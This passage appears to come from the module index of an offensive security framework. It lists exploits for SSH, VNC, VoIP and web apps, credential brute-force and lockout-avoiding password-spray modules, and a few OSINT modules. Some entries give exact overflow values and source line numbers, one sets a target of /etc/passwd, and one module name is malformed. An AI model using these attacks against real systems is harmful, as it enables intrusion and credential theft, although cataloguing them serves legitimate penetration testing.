| `exploits/ssh/paramiko_authnonepass` | Exploits Paramiko-based SSH servers that mistakenly return AUTH_SUCCESSFUL from check_auth_none(). Sends an SSH2 'none' userauth request and, if the server accepts it, opens a session channel and runs an arbitrary command. Tested against paramiko 4.0.0. | Great | |
| `exploits/ssh/paramiko_unknown_method` | Exploits Paramiko-based SSH servers where an unrecognized auth method falls through to check_auth_none() (auth_handler.py:721-724). If check_auth_none() returns AUTH_SUCCESSFUL, any bogus method name authenticates the client. Tested against paramiko 4.0.0. | Great | |
| `exploits/ssh/sshpwn_auth_passwd` | Exploits OpenSSH auth2-passwd.c vulnerabilities including password length DoS, password change info leak, and timing-based user enumeration. | Normal | |
| `exploits/ssh/sshpwn_pam` | Exploits OpenSSH auth-pam.c vulnerabilities including environment variable injection, memory leak DoS, and username length validation bypass. | Normal | |
| `exploits/ssh/sshpwn_scp_attacks` | Exploits OpenSSH SCP vulnerabilities including path traversal via filename manipulation, command injection, and brace expansion DoS. | Normal | |
| `exploits/ssh/sshpwn_session` | Exploits OpenSSH session.c and sshd-session.c vulnerabilities including forced command bypass, environment variable injection, and privilege separation issues. | Good | |
| `exploits/ssh/sshpwn_sftp_attacks` | Exploits OpenSSH SFTP server vulnerabilities including symlink injection, chmod setuid abuse, path traversal, and partial write issues. | Normal | |
| `exploits/telnet/telnet_auth_bypass_cve_2026_24061` | Exploits CVE-2026-24061 to bypass telnet authentication on vulnerable devices. | Excellent | |
| `exploits/vnc/libvnc_checkrect_overflow` | LibVNCClient vncviewer.c:115-117 uses signed 32-bit bounds checks (x+w > fb_width). At x=0x7FFFFFFF, w=1: x+w wraps to INT_MIN — negative, bypasses check. Raw pixel data is then written past the allocated framebuffer → heap overflow → RCE. This module acts as a malicious VNC server. | Normal | ✓ |
| `exploits/vnc/libvnc_tight_filtergradient` | LibVNCClient tight.c:468-522 reads numRows from the decompressed Tight stream and drives the gradient filter loop without clamping to the rect height. A crafted stream claiming numRows=10000 for a 20-row rect writes far past the allocated heap buffer → OOB write → RCE. Malicious server module. | Normal | ✓ |
| `exploits/vnc/libvnc_ultrazip` | LibVNCClient ultra.c:100-150 (CVE-2018-20750) reads numCacheRects from the UltraZip wire stream and loops that many times memcpy-ing into a fixed-size rect cache (~200 entries) without bounds-checking. numCacheRects=0xFFFF with 1 real entry → heap overflow → RCE. Malicious server module. | Normal | ✓ |
| `exploits/vnc/libvnc_websocket_overflow` | LibVNCServer ws_decode.c:219-254 reads a 64-bit WebSocket frame payloadLen and uses it without bounding against the receive buffer size. Sending a binary frame with payloadLen=0xFFFFFFFFFFFF and 0 bytes of actual data triggers a heap overflow → server crash / RCE. | Good | |
| `exploits/vnc/libvnc_zrle_tile` | LibVNCClient zrle.c:201-209 does not track bytes consumed per tile during decompression. A truncated RLE tile provides only 1 pixel run but the tile covers 64×64 pixels; the client reads ~4095 extra runs from beyond the decompressed buffer → heap over-read → potential info-leak or RCE. Malicious server module. | Normal | ✓ |
| `exploits/vnc/tigervnc_rre_overflow` | TigerVNC's RRE decoder reads numSubrects from the wire as u32 and loops that many times, reading 4+bpp bytes per subrect without bounds-checking the received buffer. numSubrects=0xFFFFFFFF with a minimal body forces the client to read past the heap buffer → RCE. Malicious server module. | Normal | ✓ |
| `exploits/vnc/tigervnc_timing_oracle` | TigerVNC's VNC auth handler may exhibit measurable timing differences between a correct and incorrect first-block DES response. Repeated auth attempts with crafted 16-byte responses and RTT measurement can leak partial key information. Highly noisy — requires low-latency controlled network. Rank: Low. | Low | |
| `exploits/vnc/tightvnc_decompression_bomb` | TightVNC's FileUploadData handler (FileTransferRequestHandler.cpp:582-590) uses the wire `uncompressedSize` field without any cap. Sending a tiny zlib payload (~13 bytes) claiming 2 GiB uncompressed forces the server to allocate gigabytes → heap exhaustion → process crash / OOM-kill. DESTRUCTIVE. | Normal | |
| `exploits/vnc/tightvnc_des_hardcoded_key` | TightVNC stores the VNC password encrypted with a hardcoded 8-byte DES key (VncPassCrypt.cpp:29-44). The 8-byte ciphertext lives in the Windows registry at HKLM\SOFTWARE\TightVNC\Server\Password. Any user who can read that value can recover the plaintext offline in microseconds. No network interaction required. | Excellent | ✓ |
| `exploits/vnc/tightvnc_ft_path_traversal` | Detects TightVNC servers exposing the file-transfer extension. The full exploit needs an authenticated session; this probe only confirms the surface is reachable. | Excellent | |
| `exploits/vnc/tightvnc_predictable_challenge` | TightVNC fills the 16-byte RFB challenge with srand(time(0))+rand(). Two connections in the same wall-clock second receive identical challenges, allowing replay attacks or offline PRNG reconstruction. Bug: RfbInitializer.cpp:173-175. | Good | |
| `exploits/vnc/tightvnc_rect_overflow` | TightVNC Rect::area() uses signed int32 multiplication (Rect.h:172). At 0x8001×0x8001 the product wraps, causing TightEncoder to allow a 300-entry palette write past the 256-entry heap buffer → RCE. This module acts as a malicious VNC server; point a TightVNC/LibVNCClient viewer at the listen address. | Normal | ✓ |
| `exploits/vnc/x11vnc_dns_injection` | x11vnc connections.c:1665-1670 calls gethostbyaddr() on the connecting client IP and passes the result UNSANITISED to system() when -accept xmessage is set. A crafted PTR record containing shell metacharacters achieves RCE as the x11vnc user. Requires a rogue DNS server — this module prints the setup recipe. Rank: Manual. | Manual | |
| `exploits/vnc/x11vnc_env_injection` | x11vnc populates the RFB_CLIENT_IP environment variable from the connecting client's source IP address and passes it to hook scripts. If hook scripts interpolate this variable unsafely (e.g. in shell `exec $RFB_CLIENT_IP`), and the attacker controls the source IP routing, shell injection achieves RCE. This module prints the setup recipe. Rank: Manual. | Manual | |
| `exploits/vnc/x11vnc_unixpw_inject` | x11vnc -unixpw mode sends a plaintext username+password challenge over the VNC channel without stripping newlines from the username field. Injecting \n in the username can confuse the PAM interaction, potentially bypassing authentication or creating unexpected auth state. | Normal | |
| `exploits/voip/cve_2025_64328_freepbx_cmdi` | Post-authentication command injection in FreePBX filestore module. | Great | ✓ |
| `exploits/voip/magnusbilling_ssrf_cve_2023_30258` | Detects MagnusBilling 6 panel; multiple unauth weaknesses including SSRF and traversal. | Good | ✓ |
| `exploits/voip/xorcompbx_rce` | Detects Xorcom CompletePBX login portal; auth-required RCE via shell injection in admin endpoints. | Normal | ✓ |
| `exploits/webapps/aiplugins_rce_cve_2025_23968` | Detects unauthenticated arbitrary file upload in Cibeles AI, | Great | ✓ |
| `exploits/webapps/api_attack_suite` | Active offensive sweep covering every API attack category in PortSwigger's Web Security Academy. Accepts either a target URL OR a raw captured HTTP request (Burp 'Copy as raw request'); when a captured request is provided, fingerprints the stack, walks every fuzzable parameter (query, JSON body recursive, headers, cookies), auto-detects already-privileged fields (`admin: true`, `role: ...`) and flips them, then runs verb tampering, auth bypass, HPP, mass-assign, BOLA, content-type confusion, GraphQL attacks, JWT none-alg, rate-limit, and sensitive-field exposure. Two interaction modes (interactive / auto) — same surface across shell / CLI / API / MCP. | Normal | ✓ |
| `exploits/webapps/azureapim_checker` | Probes Azure APIM developer portal endpoints for cross-tenant signup | Normal | ✓ |
| `exploits/webapps/azuriom_csti_cve_2025_65271` | Detects Azuriom admin dashboard; client-side template injection enables | Normal | ✓ |
| `exploits/webapps/beego_traversal_lfi` | Detects Beego applications vulnerable to %5c-encoded path traversal. | Good | ✓ |
| `exploits/webapps/cacti_graph_rce_cve_2025_24367` | Detects Cacti ≤ 1.2.29 and verifies authenticated access | Good | ✓ |
| `exploits/webapps/casdoor_traversal_cve_2023_34927` | Detects Casdoor 2.95.0 vulnerable to %5c-encoded path traversal. | Good | ✓ |
| `exploits/webapps/cbitrix_translate_upload_cve_2025_67887` | Detects 1C-Bitrix CMS ≤ 25.100.500 exposing the Translate module | Good | ✓ |
| `exploits/webapps/cinnamon_kotaemon_zip_dos_cve_2025_63914` | Detects Cinnamon kotaemon ≤ 0.11.0 by Gradio fingerprint. | Normal | ✓ |
| `exploits/webapps/cleo_harmony_filewrite_cve_2024_55956` | Detects Cleo Harmony / VLTrader / LexiCom MFT 5.8.0.23 by web banner. | Great | ✓ |
| `exploits/webapps/clipbucket_rce_cve_2025_55911` | Detects ClipBucket 5.5.2 build 90 video platform. | Good | ✓ |
| `exploits/webapps/cloudbleed_scanner` | Sends malformed HTML probes and inspects responses for | Normal | ✓ |
| `exploits/webapps/commvault_cli_rce_cve_2025_57788` | Probes Commvault Command Center for the unauth RCE chain | Great | ✓ |
| `exploits/webapps/convio_sqli` | Probes Convio CMS endpoints for SQL error markers in `id` parameter. | Normal | ✓ |
| `exploits/webapps/coohom_xss` | Detects Coohom application; reflected XSS via input parameters. | Normal | ✓ |
| `exploits/webapps/cpms_authbypass` | Detects CPMS 2.0 admin login; SQLi or hardcoded credentials enable unauth admin access. | Normal | ✓ |
| `exploits/webapps/craftcms_key_rce_cve_2025_23209` | RCE in Craft CMS when the application security key is known or leaked. | Normal | ✓ |
| `exploits/webapps/craftcms_logicflaw` | Detects Craft CMS 5.0; image-transform endpoint authenticates via | Normal | ✓ |
| `exploits/webapps/craftcms_rce_cve_2025_47726` | Remote Code Execution via Server-Side Template Injection in Craft CMS. | Great | ✓ |
| `exploits/webapps/craftcms_ssti_scanner` | Submits {{7*7}} via search/path parameters and looks for "49" reflection. | Normal | ✓ |
| `exploits/webapps/crafty_controller_rce_cve_2025_14700` | Detects Crafty Controller; auth-required SSTI in template configuration enables RCE. | Good | ✓ |
| `exploits/webapps/dify/cve_2025_56157_dify_default_creds` | Checks for default PostgreSQL credentials in Dify deployments. | Great | ✓ |
| `exploits/webapps/django_sqli_cve_2025_64459` | Probes Django apps for the QuerySet/Lookup SQLi affecting 5.1.x ≤ 5.1.13. | Good | ✓ |
| `exploits/webapps/dnnplatform_upload_cve_2025_64095` | Detects DNN (DotNetNuke) <10.1.1 with the HTML editor upload endpoint | Great | ✓ |
| `exploits/webapps/dotcms_blind_sqli_cve_2025_8311` | Authenticated time-based blind SQL injection in dotCMS 25.07.02-1 | Good | ✓ |
| `exploits/webapps/dotcms_scanner` | Detects dotCMS instances and reads /api/v1/system/version disclosure. | Normal | ✓ |
| `exploits/webapps/drupal11_pathdisclose_cve_2024_45440` | Triggers Drupal error responses that disclose the absolute filesystem path. | Normal | ✓ |
| `exploits/webapps/eduplus_idor` | Detects EduplusCampus student portal IDOR by enumerating | Normal | ✓ |
| `exploits/webapps/elementor_wb_sqli_cve_2023_0329` | Detects Elementor WP plugin <3.12.2; admin SQL injection in template endpoint. | Good | ✓ |
| `exploits/webapps/eramba_grc_rce_cve_2023_36255` | Detects Eramba GRC by login fingerprint; download-test-pdf is | Good | ✓ |
| `exploits/webapps/ffcw_inject` | Detects FileCatalyst Workflow login; PHP injection via workflow params. | Normal | ✓ |
| `exploits/webapps/flask_command_injection` | Probes a Flask app for SSTI and command-injection markers in | Normal | ✓ |
| `exploits/webapps/flatcore_upload_cve_2019_13961` | Detects flatCore 1.5 by login fingerprint; chained file upload to PHP RCE. | Good | ✓ |
| `exploits/webapps/flatpress_xsrf_shell` | Detects FlatPress 1.3 admin endpoints; CSRF + auth shell upload. | Good | ✓ |
| `exploits/webapps/flowise/cve_2024_31621` | Unauthenticated access to Flowise /API/V1/credentials endpoint, bypassing authentication in Flowise <= 1.6.5. | Great | |
| `exploits/webapps/flowise/cve_2025_59528_flowise_rce` | Authenticated RCE in Flowise < 3.0.5 via customMCP endpoint expression injection. | Great | |
| `exploits/webapps/flowise_js_inject_cve_2025_59528` | Detects Flowise UI/API; JS parsing injection allows code | Good | ✓ |
| `exploits/webapps/foxcms_inject_cve_2025_29306` | Detects FoxCMS 1.0 by admin fingerprint; PHP code injection in admin actions. | Good | ✓ |
| `exploits/webapps/fuguhub_rsakey_disclose_cve_2025_65790` | Probes FuguHub web-accessible documentation for an embedded RSA | Good | ✓ |
| `exploits/webapps/getsimple_csrf_cve_2021_28976` | Detects GetSimple CMS 3.3.16; missing anti-CSRF tokens on backup | Normal | ✓ |
| `exploits/webapps/gnuboard5_install` | Detects exposed /install/ endpoint of Gnuboard 5; if reachable, attacker can compromise installation parameters. | Good | ✓ |
| `exploits/webapps/gravcms_sandbox_bypass_cve_2025_66294` | Detects Grav CMS by the X-Generator header / login page; Twig sandbox bypass | Good | ✓ |
| `exploits/webapps/guppycms_shell` | Detects GuppY CMS via /admin login and probes for PHP injection in admin endpoints. | Normal | ✓ |
| `exploits/webapps/headlamp_unauth_disclose_cve_2025_14269` | Probes the Headlamp Kubernetes dashboard for unauthenticated | Good | ✓ |
| `exploits/webapps/hestia_inject` | Detects Hestia CP login portal; auth-required PHP code injection in admin scripts. | Normal | ✓ |
| `exploits/webapps/highcms_sqli` | Probes legacy HighCMS / HighPortal endpoints for blind SQL injection markers. | Normal | ✓ |
| `exploits/webapps/hpe_oneview_rce` | Probes HPE OneView REST API; authenticated Java deserialization | Normal | ✓ |
| `exploits/webapps/ias25_idor` | Detects IAS 2.5 admin panel; enumerates student record IDs via IDOR. | Normal | ✓ |
| `exploits/webapps/ias25_sqli` | Detects IAS 2.5 SQL injection via the login form parameters. | Normal | ✓ |
| `exploits/webapps/ias25_upload` | Detects IAS 2.5 admin upload form; chained with default creds → PHP RCE. | Normal | ✓ |
| `exploits/webapps/ibmbigfix_disclose` | Detects IBM BigFix Platform port and probes for unauth disclosure paths. | Normal | ✓ |
| `exploits/webapps/ictbroadcast_rce` | Detects ICTBroadcast 7.0 admin endpoint; auth RCE via DBC (Dynamic Broadcast Configuration). | Normal | ✓ |
| `exploits/webapps/iemm_eli_inject_cve_2025_4427` | Probes Ivanti EPM Mobile (formerly MobileIron Core) for the | Great | ✓ |
| `exploits/webapps/invision_csti_cve_2025_ic506` | Detects Invision Community 5.0.6; auth-required Expression Injection (SSTI) in customCss. | Normal | ✓ |
| `exploits/webapps/invoiceninja_inject` | Detects Invoice Ninja by the api/v1/ping endpoint; PHP code injection via auth-required template editor. | Normal | ✓ |
| `exploits/webapps/ioncube_loader_scanner` | Detects exposed ionCube wizard helper files (loader-wizard.php). | Normal | ✓ |
| `exploits/webapps/jenkins_fileread` | Detects Jenkins ≤ 2.441 vulnerable to arbitrary file read via the | Great | ✓ |
| `exploits/webapps/jsonpath_plus_rce_cve_2025_1302` | Submits a JSONPath expression that triggers JS evaluation; reflection | Normal | ✓ |
| `exploits/webapps/kalmia_user_enum_cve_2025_65899` | JWT auth endpoint leaks user existence based on returned message. | Normal | ✓ |
| `exploits/webapps/langflow/cve_2026_33017_build_public_tmp_rce` | Pre-auth RCE on Langflow ≤ 1.8.2 via `/api/v1/build_public_tmp/{flow_id}/flow`. The endpoint executes attacker-controlled Python code embedded in flow nodes during graph preparation. Default-deployed Langflow has `AUTO_LOGIN=true`, which the chain leverages to mint the required public-flow id without creds. | Excellent | ✓ |
| `exploits/webapps/langflow_rce_cve_2025_3248` | Unauthenticated RCE via Python exec() in Langflow code validation. | Excellent | ✓ |
| `exploits/webapps/laravel_livewire_rce_cve_2025_47949` | Remote Code Execution via unsafe deserialization in Laravel Livewire. | Great | ✓ |
| `exploits/webapps/laravel_pulse_inject_cve_2024_55661` | Detects Laravel Pulse dashboard at /pulse; remote_ip header / route | Normal | ✓ |
| `exploits/webapps/lepton_xss_rce` | Detects LEPTON CMS 7.4.0 admin endpoints; chained Stored XSS into | Normal | ✓ |
| `exploits/webapps/lgsimpleeditor_inject` | Detects LG Simple Editor by /login fingerprint; PHP code injection in editor endpoints. | Normal | ✓ |
| `exploits/webapps/librenms_inject` | Detects LibreNMS by /login fingerprint; auth-required PHP code injection. | Normal | ✓ |
| `exploits/webapps/limesurvey_filedownload` | Detects LimeSurvey 2.0 export endpoint that exposes uploaded files | Normal | ✓ |
| `exploits/webapps/magento_session_reaper_cve_2025_54236` | Probes Magento 2 / Adobe Commerce REST API for vulnerable build banners | Great | ✓ |
| `exploits/webapps/mangosweb_xss` | Probes mangosweb search/login endpoints for unsanitised reflection. | Normal | ✓ |
| `exploits/webapps/mantisbt_exec` | Detects Mantis Bug Tracker 2.30; auth RCE via filter/admin paths. | Normal | ✓ |
| `exploits/webapps/mcpjam/cve_2026_23744_mcpjam_rce` | Detects MCPJam Inspector ≤ 1.4.2 listening on a non-loopback interface. The Inspector accepts unauthenticated MCP server registrations, which is RCE in practice. Probe only. | Great | |
| `exploits/webapps/misp_rce_cve_2025_27364` | Authenticated file upload to RCE in MISP < 2.5.3. The /events/upload_sample endpoint accepts arbitrary MIME types, allowing upload of PHP webshells when combined with a permissive server configuration. CVSS 8.8 High. | Normal | |
| `exploits/webapps/mobiledetect_xss` | Probes endpoints that echo User-Agent for XSS reflection markers. | Normal | ✓ |
| `exploits/webapps/n8n/n8n_form_afr_cve_2026_21858` | POSTs `files.filepath` to a known n8n form-trigger workflow on n8n ≤ 1.65.0. Operator supplies the form path via `setg n8n_form_path /form/...` and the file via `setg n8n_target_file /etc/passwd`. Probe-only — does not chain into RCE. | Good | ✓ |
| `exploits/webapps/n8n/n8n_rce_cve_2025_68613` | Authenticated RCE in n8n 0.211.0-1.120.3/1.121.0 via expression injection in workflow Set nodes. CVSS 10.0 Critical. | Great | |
| `exploits/webapps/nextjs_middleware_bypass_cve_2025_29927` | Bypasses Next.js middleware (auth, RBAC, redirects) by sending the | Great | |
| `exploits/webapps/openrepeater_inject` | Detects OpenRepeater web UI; authenticated injection in audio/network configuration endpoints. | Normal | ✓ |
| `exploits/webapps/opensisce_sqli` | Detects openSIS classic; auth-bypass / SQLi via login form. | Normal | ✓ |
| `exploits/webapps/phpipam_sqli` | Detects phpIPAM and probes parameterised endpoints for SQL error markers. | Normal | ✓ |
| `exploits/webapps/phpmyadmin_sqli` | Detects phpMyAdmin and probes for known SQLi via designer endpoints. | Normal | ✓ |
| `exploits/webapps/phpmyfaq_xss` | Detects phpMyFAQ; reflected XSS via search and CSRF on admin endpoints. | Normal | ✓ |
| `exploits/webapps/pihole_redis_rce_cve_2024_34361` | Detects Pi-hole admin UI; authenticated SSRF + Redis abuse for RCE. | Good | ✓ |
| `exploits/webapps/piwigo_sqli` | Detects Piwigo gallery; SQLi via parameter abuse in admin endpoints. | Normal | ✓ |
| `exploits/webapps/pluck_upload` | Detects Pluck CMS; auth admin upload chained to PHP code execution. | Normal | ✓ |
| `exploits/webapps/react/react2shell` | Detects exposed React Server Components Flight endpoints (`?_rsc=` query parameter) that may be vulnerable to deserialization-based RCE on patched-but-misconfigured Next.js installations. Probe only. | Excellent | |
| `exploits/webapps/react_rsc_rce_cve_2025_55182` | Detects React Server Components fingerprint; server-side serialisation | Good | ✓ |
| `exploits/webapps/redash_rce_hash` | Detects Redash via /api/admin/status; auth-required RCE via SQL data source helper. | Normal | ✓ |
| `exploits/webapps/rosariosis_xss` | Detects RosarioSIS login page; reflected XSS via search parameter. | Normal | ✓ |
| `exploits/webapps/roundcube/roundcube_postauth_rce` | Authenticated RCE in Roundcube webmail via PHP deserialization (Crypt_GPG_Engine gadget) in file upload. Affects versions 1.1.0-1.5.9 and 1.6.0-1.6.10. | Great | |
| `exploits/webapps/sap_netweaver_rce_cve_2025_31324` | Unauthenticated file upload to RCE in SAP NetWeaver Visual Composer. | Excellent | ✓ |
| `exploits/webapps/sharepoint/cve_2024_38094` | Authenticated remote code execution in SharePoint Server via deserialization of malicious .bdcm file upload. Requires Site Owner privileges. CVSS 7.2. | Great | |
| `exploits/webapps/sharepoint/cve_2025_53770_sharepoint_toolpane_rce` | Unauthenticated deserialization RCE in SharePoint on-premises. | Great | ✓ |
| `exploits/webapps/sharepoint_toolpane_cve_2025_53770` | Probes SharePoint Server for the ToolPane.aspx endpoint and missing | Excellent | ✓ |
| `exploits/webapps/smartermail/admin_password_reset_cve_2026_23760` | Probes SmarterTools SmarterMail < 9511 for the IsSysAdmin client-trust bypass on /api/v1/auth/force-reset-password. By default, only checks whether the endpoint accepts the unauthenticated payload — does NOT change the live admin password unless `setg smartermail_keep y` is set. | Excellent | ✓ |
| `exploits/webapps/solarwinds/cve_2025_40551_solarwinds_whd_rce` | Detects SolarWinds Web Help Desk ≤ 12.8.8 Hotfix 1 vulnerable to the unauth Java deserialization RCE. Probe only — fingerprints the login page version banner. | Excellent | ✓ |
| `exploits/webapps/spotube/spotube` | Unauthenticated access to Spotube API enabling path traversal via WebSocket and denial of service attacks against the desktop music client. | Good | |
| `exploits/webapps/termix/termix_xss_cve_2026_22804` | Stored Cross-Site Scripting in Termix File Manager (1.7.0-1.9.0) via malicious SVG file upload. Executes JavaScript in Electron context when previewed. | Normal | |
| `exploits/webapps/textpattern_xss` | Detects Textpattern admin; auth-required stored XSS in /textpattern/index.php?event=pref. | Normal | ✓ |
| `exploits/webapps/varnish_styx_smuggling` | Detects Varnish-fronted edge cache; TE.CL request smuggling via inconsistent | Normal | ✓ |
| `exploits/webapps/visualstudio_debugger` | Connects to TCP/5858 (Node Inspector / VS Code debugger) and verifies a debug session is exposed. | Good | ✓ |
| `exploits/webapps/vite_path_traversal_cve_2025_30208` | Path traversal in Vite dev server /@fs/ endpoint. Appending ?import&raw bypasses allowed-path checks and returns arbitrary files from the host filesystem. Affects Vite < 6.2.3 / 6.1.2 / 6.0.12 / 5.4.15 / 4.5.10. | Great | |
| `exploits/webapps/wfentlm_disclose` | Generates a UNC trigger HTML payload that leaks NTLMv2 hashes when | Normal | ✓ |
| `exploits/webapps/wordpress/vitepos_file_upload_cve_2025_13156` | Authenticated arbitrary file upload in Vitepos POS for WooCommerce plugin <= 3.3.0, allowing PHP shell upload via missing file type validation. | Great | |
| `exploits/webapps/wordpress/wp_bricks_rce_cve_2024_25600` | Exploits the bricks/v1/render_element REST endpoint in Bricks Builder for WordPress to achieve unauthenticated remote code execution via crafted element data with PHP code injection. | Excellent | |
| `exploits/webapps/wordpress/wp_litespeed_rce_cve_2024_28000` | Exploits weak hash generation in the LiteSpeed Cache crawler feature to brute-force the security hash and escalate to WordPress administrator. | Normal | |
| `exploits/webapps/wordpress/wp_royal_elementor_rce_cve_2024_32suspended` | Exploits the unauthenticated file upload handler in Royal Elementor Addons for WordPress to upload a PHP webshell via multipart POST to /wp-admin/admin-ajax.php?action=wpr_addons_upload. | Excellent | |
| `exploits/webapps/wp_storychief_rce_cve_2025_7441` | Detects the StoryChief WP plugin; unauthenticated REST endpoint allows | Good | ✓ |
| `exploits/webapps/wpcpi_upload` | Detects WP for CPI plugin readme; upload endpoint is unauth. | Good | ✓ |
| `exploits/webapps/wpgivewp_inject` | Detects GiveWP plugin via readme; PHP object injection via donation form. | Good | ✓ |
| `exploits/webapps/wpomnipress_xss` | Detects WP OmniPress plugin via readme; auth admin XSS in widget config. | Normal | ✓ |
| `exploits/webapps/xwiki/cve_2025_24893_xwiki_rce` | Unauthenticated RCE via Groovy template injection in XWiki SolrSearch. | Excellent | ✓ |
| `exploits/webapps/yourls_sqli_cve_2022_0088` | Detects YOURLS instance; SQLi in admin/upgrade.php that allows compromise. | Good | ✓ |
| `exploits/webapps/yourls_xsrf_idor` | Probes YOURLS /admin/ajax.php for unauthenticated CSRF/IDOR on link mgmt. | Normal | ✓ |
| `exploits/webapps/zabbix/zabbix_7_0_0_sql_injection` | Time-based SQL injection in Zabbix 7.0.0 API endpoints allowing arbitrary SQL execution and potential remote code execution. | Great | |
| `exploits/webapps/zimbra_postjournal_rce` | Detects Zimbra ZCS by SMTP banner / 7071 admin port; postjournal | Great | ✓ |
| `exploits/webapps/zimbra_sqli_auth_bypass_cve_2025_25064` | SQL injection in Zimbra ZCS ZimbraSync endpoint allows unauthenticated | Great | |
| `exploits/windows/windows_dwm_cve_2026_20805` | Exploits CVE-2026-20805 in Windows Desktop Window Manager to leak kernel object pointers for KASLR bypass. | Good | |
## creds (30)
- 30 modules, 0 with `check()`
| Module | Description | Rank | Check |
|---|---|---|---|
| `creds/camera/acti/acti_camera_default` | Tests default credentials across FTP, SSH, Telnet, and HTTP on ACTi IP cameras. | Normal | |
| `creds/camxploit/camxploit` | Comprehensive IP camera discovery, fingerprinting, and default credential testing across RTSP, HTTP, and HTTPS. Supports Hikvision, Dahua, Axis, CP Plus, Foscam, Vivotek, and generic cameras. | Great | |
| `creds/generic/couchdb_bruteforce` | Tests CouchDB authentication via POST /_session. Single-target — scheduler does CIDR / random / file fan-out. | Normal | |
| `creds/generic/elasticsearch_bruteforce` | Tests Elasticsearch HTTP Basic auth on the cluster root endpoint. Single-target — scheduler does fan-out. | Normal | |
| `creds/generic/enablebruteforce` | Raises file descriptor limits (ulimit) for the current process to support high-concurrency brute-force operations. Provides guidance for persistent system configuration. | Normal | |
| `creds/generic/fortinet_bruteforce` | POSTs `username=&secretkey=` to /remote/logincheck on a FortiGate SSL VPN portal and inspects the response body for the redirect / error markers. Single-target — scheduler does fan-out. | Normal | |
| `creds/generic/ftp_anonymous` | Checks for anonymous FTP access on targets. Supports plain FTP and FTPS, IPv4/IPv6, and mass scanning (hose mode). | Normal | |
| `creds/generic/ftp_bruteforce` | Brute-force FTP authentication with support for FTPS (TLS), combo mode, concurrent connections, and subnet/mass scanning. | Normal | |
| `creds/generic/h3c_oem_kvm_bruteforce` | Brute-forces the H3C iBMC vendor-specific KVM session login at POST /api/oem_kvm/session, which has no rate limiting on default firmware builds. Tests every (user, password) pair in plaintext, base64, and double-base64 encodings — the endpoint silently accepts all three. A successful hit yields an X-Auth-Token that grants virtual-media + reboot equivalents (full host compromise). | Excellent | |
| `creds/generic/http_basic_bruteforce` | Brute-force HTTP Basic Authentication using username/password wordlists. Supports HTTPS with invalid certificate acceptance, default credential testing, combo mode, concurrent connections, and subnet/mass scanning. | Normal | |
| `creds/generic/imap_bruteforce` | Brute-force IMAP authentication using raw TCP protocol with TLS/IMAPS support. Sends IMAP LOGIN commands, handles greeting banners, and supports default credential testing, combo mode, concurrent connections, and subnet/mass scanning. | Normal | |
| `creds/generic/l2tp_bruteforce` | Sends an L2TPv2 SCCRQ on UDP/1701 and reports whether the gateway responds with SCCRP / StopCCN. Single-target — scheduler does fan-out. NOTE: real L2TP credential brute-force needs a full PPP+CHAP stack, which is out of scope; this module detects reachable gateways only. | Manual | |
| `creds/generic/memcached_bruteforce` | Probes Memcached SASL PLAIN auth via the binary protocol (cmd 0x21). Single-target — scheduler does fan-out. | Normal | |
| `creds/generic/mqtt_bruteforce` | Tests MQTT v3.1.1 CONNECT authentication. Reads CONNACK return code to classify accepted / bad-credentials / not-authorized. Single-target — scheduler does fan-out. | Normal | |
| `creds/generic/mysql_bruteforce` | Tests MySQL/MariaDB authentication via the HandshakeV10 → HandshakeResponse41 (mysql_native_password) flow. Reads the OK/ERR packet to classify the result. Single-target — scheduler does fan-out. | Normal | |
| `creds/generic/pop3_bruteforce` | Brute-force POP3 authentication with SSL/TLS support. Tests credentials against POP3 mail servers with combo mode, retry logic, and subnet/mass scanning. | Normal | |
| `creds/generic/postgres_bruteforce` | Tests PostgreSQL authentication via the protocol v3 startup flow. Cleartext (R 3) and MD5 (R 5) auth methods supported; SASL/GSS/SSPI fall through as unsupported. Tries common defaults first, then operator-supplied wordlists. Single-target — scheduler does CIDR / random / file fan-out. | Normal | |
| `creds/generic/proxy_bruteforce` | Bruteforces proxy authentication for HTTP CONNECT (Basic auth), SOCKS5 (username/password), and HTTP forward proxies. Supports combo, spray, and credential file modes. | Normal | |
| `creds/generic/rdp_bruteforce` | Tests RDP authentication via the X.224 → MCS → CredSSP / Standard RDP flows. Negotiates Hybrid (NLA) → TLS → Standard. Single-target — scheduler does fan-out. | Normal | |
| `creds/generic/redis_bruteforce` | Brute-force Redis authentication using raw TCP protocol. Supports both legacy password-only AUTH and Redis 6+ ACL mode (AUTH username password). Tests default credentials, gathers server info on success, and supports subnet/mass scanning. | Normal | |
| `creds/generic/rtsp_bruteforce` | Tests RTSP DESCRIBE auth (HTTP-Basic) on a given path. Single-target — scheduler does fan-out. | Normal | |
| `creds/generic/sample_cred_check` | Sample module that tests HTTP Basic Auth with default admin:admin credentials. Serves as a template for building custom credential checking modules — uses the native ModuleCtx/ModuleOutcome shape so credential findings flow into LootStore. | Normal | |
| `creds/generic/smtp_bruteforce` | Brute-force SMTP authentication supporting PLAIN and LOGIN mechanisms. Tests credentials against mail servers with combo mode and subnet scanning. | Normal | |
| `creds/generic/snmp_bruteforce` | Tests SNMPv2c community strings via a sysDescr.0 GetRequest. Single-target — scheduler does fan-out. | Normal | |
| `creds/generic/ssh_bruteforce` | Brute-force SSH authentication using username/password wordlists. Supports default credential testing, combo mode, concurrent connections, and subnet/mass scanning. | Normal | |
| `creds/generic/ssh_spray` | Sprays a single password across multiple SSH targets and usernames. Avoids account lockouts by distributing attempts across hosts with configurable concurrency and delays. | Normal | |
| `creds/generic/ssh_user_enum` | Enumerates valid SSH usernames via timing-based side-channel attack. Measures authentication response time differences to identify valid accounts, inspired by CVE-2018-15473. | Normal | |
| `creds/generic/telnet_bruteforce` | Wordlist-driven Telnet credential probe with IAC handling. Single-target — scheduler does fan-out. | Normal | |
| `creds/generic/telnet_hose` | Rapidly tests default credentials against Telnet services across large IP ranges. Supports mass scanning with concurrent connections and multiple default port checks. | Normal | |
| `creds/generic/vnc_bruteforce` | Tests VNC RFB 3.x security-type 2 (DES challenge-response). Password-only — server silently truncates to 8 bytes. Single-target — scheduler does fan-out. | Normal | |
## osint (3)
- 3 modules, 1 with `check()`
| Module | Description | Rank | Check |
|---|---|---|---|
| `osint/cert_transparency` | Queries crt.sh for every TLS certificate issued to the target domain or its subdomains, then extracts unique subdomain names from the CN / SAN fields. Pure OSINT — no traffic to the target. | Normal | ✓ |
| `osint/cname_chain` | Recursively follows CNAMEs for a single host (or a newline-separated file of hosts), tags terminal records that match known cloud providers, and flags hosts whose CNAME does not resolve to an A record (dangling). | Excellent | |
